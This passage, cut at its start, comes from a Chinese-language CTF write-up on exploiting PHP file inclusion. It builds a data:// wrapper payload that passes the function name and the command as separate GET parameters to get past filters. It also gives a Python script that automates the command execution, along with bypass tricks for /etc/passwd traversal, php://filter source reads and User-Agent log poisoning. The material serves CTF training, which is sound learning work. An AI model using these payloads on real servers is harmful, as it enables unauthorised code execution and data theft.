language="php">system(...)</script>,不过里面有system会被过滤,需要继续拆分。到这里整条利用链清晰了:用data://注入免过滤的短标签代码;函数名用参数传递,绕过函数名黑名单;命令内容用另一个参数传递,绕过路径关键词过滤;最终访问Payload执行命令读取flag文件。实际发送的请求(经过编码):GET /?page=data://text/plain,<?=$_GET['a']($_GET['b']);?>&a=system&b=cat /var/www/html/fla%67.php HTTP/1.1注意b里的flag也最好编码成fla%67,虽然刚才说b参数不在过滤范围,但当include执行<?=$_GET['a']($_GET['b']);?>时,$_GET拿到的b值是解码后的cat /var/www/html/flag.php,这个值不会经过index.php里的preg_match,所以不编码也行。但编码无害,还能防止某些网关层面的关键字过滤,养成习惯更稳。最终页面成功打印出flag文件内容。4.4 解题脚本参考为了方便复测,写一个简单的Python脚本,把上述过程自动化:import requests import base64 url = 'http://target/index.php' payload = { 'page': 'data://text/plain,<?=$_GET[\'a\']($_GET[\'b\']);?>', 'a': 'system', 'b': 'cat /var/www/html/flag.php' } resp = requests.get(url, params=payload) print(resp.text)如果flag文件名不确定,可以先用ls命令列目录:payload['b'] = 'ls /var/www/html' resp = requests.get(url, params=payload)这一步很方便,比盲猜路径高效得多。5. 常见问题与排查技巧实录5.1 问题速查表现象可能原因处理思路php://filter被拦过滤了php关键词改用data://或其他协议;或寻找文件上传点配合包含包含PHP文件无回显直接执行了代码但没输出用php://filter读源码;在包含时换个不执行的方式路径穿越无效过滤了../或开启了open_basedir尝试双写、编码、路径归一化;确认系统类型强行拼接.php后缀include里写了. $page . '.php'用伪协议或让目标文件名本身带.php短标签不生效short_open_tag关闭改用<script language="php">或用其他执行方式过滤函数名如system黑名单拦截高危函数用变量函数、动态参数拆分、PHP命名空间反斜杠等方式日志投毒没有效果日志位置错误或UA被过滤换Referer头、确认日志路径、用短标签绕过5.2 排查经验分享做题时最忌讳一上来就套payload,先把题目给的“过滤规则”摸清楚,会让效率翻倍。我一般按这个顺序排查:第一个请求测试?page=index.php,看正常返回什么样;第二个请求测试?page=/etc/passwd,确认漏洞存在和穿越能力;第三个请求测试?page=php://filter/read=convert.base64-encode/resource=index.php,确认协议是否可用、是否被过滤;如果协议被过滤,根据报错信息反推过滤规则(比如提示hacker就说明正则有拦截);确认过滤规则后,再决定用哪种绕过方案。关于日志投毒有个容易被忽略的点:Nginx的access.log默认不会记录POST体,但会记录User-Agent,所以UA注入是首选。Apache的access.log也一样。如果你在日志里找不到你的UA,最常见的原因是access.log被切割或权限限制,先读一读日志尾部几行确认内容格式再注入。另外,用data://注入时,text/plain后的内容里有空格和特殊符号,最好做一次URL编码,否则网关或PHP解析可能出问题。我遇到过在源码里写<?=$_GET['a']($_GET['b']);?>时,?>后面如果有多余空格会被当成输出内容,导致页面杂乱,影响判断。所以payload尽量干净,参数值不要带尾随空格。6. 一点个人做题体会文件包含这道题,我做过很多遍,每次复盘都会发现新的绕过角度。它最大的魅力在于:表面上是个读文件漏洞,实际上考的却是你对“PHP如何解析代码”“Web服务器如何运行”“路径和协议之间如何互相转换”的综合理解。构造访问路径时,你要站在include函数的角度想问题;过滤php代码时,你要站在preg_match正则的角度想问题;两者交汇处,就是突破口。我个人建议每个想在这个专题稳定拿分的人,亲手搭一个本地docker环境,用docker run起一个PHP容器,写一个带过滤的index.php,反复练习“伪协议读源码—过滤绕过—注入执行”这条链路。踩过几次坑之后,你会慢慢形成一种直觉:看到参数过滤,第一反应不是放弃,而是去想它到底过滤了什么、哪些地方管不到。这种思维习惯,才是做CTF题真正沉淀下来的东西。